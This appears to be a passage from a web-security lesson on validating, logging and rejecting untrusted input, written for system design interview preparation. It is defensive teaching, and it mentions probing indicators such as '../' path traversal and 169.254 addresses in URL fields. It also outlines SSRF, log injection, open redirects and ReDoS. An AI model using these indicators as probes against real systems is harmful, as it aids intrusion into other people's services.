Rejections are signal. A spike of 422s on one field right after a deploy usually means the client and server schemas drifted. A stream of ../ in file names or 169.254 in URL fields means someone is probing. So log rejections, but carefully: rejected input is exactly the input you decided not to trust.

Log the decision, not the payload

  • Log structured fields, not strings. Write JSON such as { event: "validation_failed", route: "/signup", field: "username", rule: "pattern", length: 412 }. If you build a text line with the raw value, a value containing a newline can forge a fake log entry (log injection), and a value with terminal escape codes can mess up whoever reads the log in a terminal.
  • Truncate. Log the length and at most the first 100 or so characters. Logging a 10 MB body on every rejection turns a validation check into a disk-filling attack.
  • Redact secrets and personal data. A failed login body contains a password, often a real one with a typo. Card numbers, tokens, and Authorization headers must never reach logs. Use an allowlist of fields you log, not a blocklist of fields you hide.
  • Treat logs as untrusted when you view them. A log viewer that renders values as HTML gives the attacker stored XSS in your admin tools. Most good tools escape; a homemade dashboard may not.
  • Count, then alert. A metric of rejections per route, field, and rule is more useful day to day than reading lines. Alert on sudden changes.

The same care applies to error messages sent back to the user. Say what was wrong ("Username can use letters, digits, and underscores") without echoing the raw value into HTML, and without explaining internals ("blocked: resolves to 10.0.0.5" tells an SSRF attacker your network layout).

What breaks in production

FailureHow you noticeFix
Server rule stricter than the form422s spike on one field after a deploy; support ticketsOne shared schema; a contract test that runs the form's valid examples against the API
Rule too strict for real peopleNames like José, O'Brien, or a one-letter surname rejectedAllowlists for identifiers, but generous Unicode text with only length limits for names and free text
Old clients after a schema changeMobile app versions from last month start failingAccept old and new shapes for a while; version the contract
A validator that is slowCPU spikes and timeouts on one route with no traffic increaseLength caps before regexes; linear-time engine; time-limit tests
Rate limit too tight429s for a whole office or mobile carrierPer-user limits once logged in; higher per-IP caps; friction instead of blocks
A second decode or a different parser deeper inA security report: the check passed but the effect happenedCanonicalize once at the edge; pass only parsed values inward

In real products

  • GitHub does not let your browser load images in READMEs and comments directly from their original hosts. It rewrites them through its own image proxy, Camo, on a separate domain (camo.githubusercontent.com). Readers' browsers never contact the third-party host, which protects their IP addresses, and every outbound fetch goes through one service where limits can be applied.
  • Slack and similar chat apps unfurl links by fetching them from their servers with a dedicated bot user agent and keep only the preview metadata (title, description, image), not the page itself.
  • OAuth providers such as Google and GitHub require registered redirect URIs and match them exactly or by strict rules, the server-side version of the returnTo allowlist.
  • Stripe open-sourced Smokescreen, an egress proxy that its services use for requests to user-supplied URLs such as webhook endpoints, so an SSRF bug in one service cannot reach internal hosts.
  • Next.js server actions receive arguments straight from the client, and the framework docs say each one is reachable by a direct POST: a public endpoint like any API route. The docs tell you to validate the arguments (often with Zod) and to check authorization inside each action, because the action's code being next to the form does not make its input trusted.

Think first

On Monday morning, rejections on POST /checkout jump from 0.1% to 6%, all on the postcode field. Is it an attack or a bug, and how do you tell?

Using it in a system design interview

Input validation rarely gets its own question. It shows up inside other designs, and it is an easy way to show security sense without derailing the conversation: raise it where the design takes input from outside, and go deeper only if the interviewer follows up.

When to bring it up

The design hasSayDraw
A form (sign-up, checkout, settings)One shared schema; client for UX, server for truth; 422 with field errors; explicit field list to stop mass assignmentThe schema package with arrows to the form and the API route
Login with a return pathreturnTo parsed with URL and compared by origin, or stored server-side under a state keyThe redirect step with a validator box
Link previews, image import, webhooksSSRF: scheme and port allowlist, resolve and pin, block private ranges, manual redirects, egress proxyThe fetcher in its own network zone behind a proxy
File uploadsSize cap in the presigned policy, magic-byte type check, generated names, separate user-content domainUpload path with a scan or re-encode step
Search, chat, public APIsToken bucket per user and per IP, 429 with Retry-After, length caps before regexesA rate limiter at the edge and in the gateway

How deep to go by level

Keep each mention short: one sentence and one box on the diagram. If the interviewer asks "how would you validate that?", that is the cue to go one level down: name the attack, the check that fails, and the check that holds, as this lesson did for each input.

  • Junior: knows that client checks can be skipped and the server must validate; can name types, lengths, and ranges; uses the framework's escaping.
  • Mid-level: shares one schema between form and API, explains validate versus sanitize versus encode, spots mass assignment and IDOR, returns field-level errors the UI can show.
  • Senior: brings up open redirects and SSRF unprompted where the design has them, knows why startsWith("/") and resolve-then-fetch fail, talks about canonicalization, ReDoS, and rate limit keys, and puts user-driven fetches behind an egress proxy.
  • Staff: makes it systemic: a shared validation package and lint rules, one redirect helper and one fetch client that teams must use, metrics on rejections, and a review checklist for new endpoints that take URLs or files.

Check your understanding · Exercise 8

You are designing a chat app where messages show previews for links. Which points are worth raising for this feature? Select all that apply.

Summary

  • Browser validation is UX; server validation is security. Anything the client enforces can be skipped with curl.
  • Use one schema (Zod, Valibot, or a JSON Schema contract) for the form and the API, and let the server add uniqueness, ownership, and price checks.
  • Parse, don't just check: canonicalize once at the edge, check against an allowlist, and pass only the typed, parsed value inward. Explicit field lists stop mass assignment.
  • Validate on the way in, encode on the way out for the place the value lands, and sanitize only real rich text with a maintained library.
  • Redirect targets go through new URL(raw, ORIGIN) with an origin check and a redirect to the parsed href; string checks like startsWith("/") fail.
  • URLs your server fetches need scheme, port, and resolved-IP checks, pinned connections, re-checked redirects, size and time caps, and ideally an egress proxy.
  • Cap length before any regex, avoid nested quantifiers, and rate limit valid-but-excessive traffic with token buckets keyed by user, IP, and target.
  • Log rejections as structured, truncated, redacted fields, and watch rejection rates: they reveal both attacks and schema drift.

In the interview

Questions interviewers ask about this. Answer each out loud first, then compare.

Question 1

We already validate everything in the form with Zod. Why do we need server validation too?

Question 2

How would you validate a returnTo parameter on a login page?

Question 3

Our app generates link previews. What could go wrong, and how do you protect it?

Question 4

What is ReDoS and how do you prevent it?

Question 5

Design rate limiting for a public sign-up and login API.

Practice it

These design problems lean on validating and sanitizing input.

References

Read next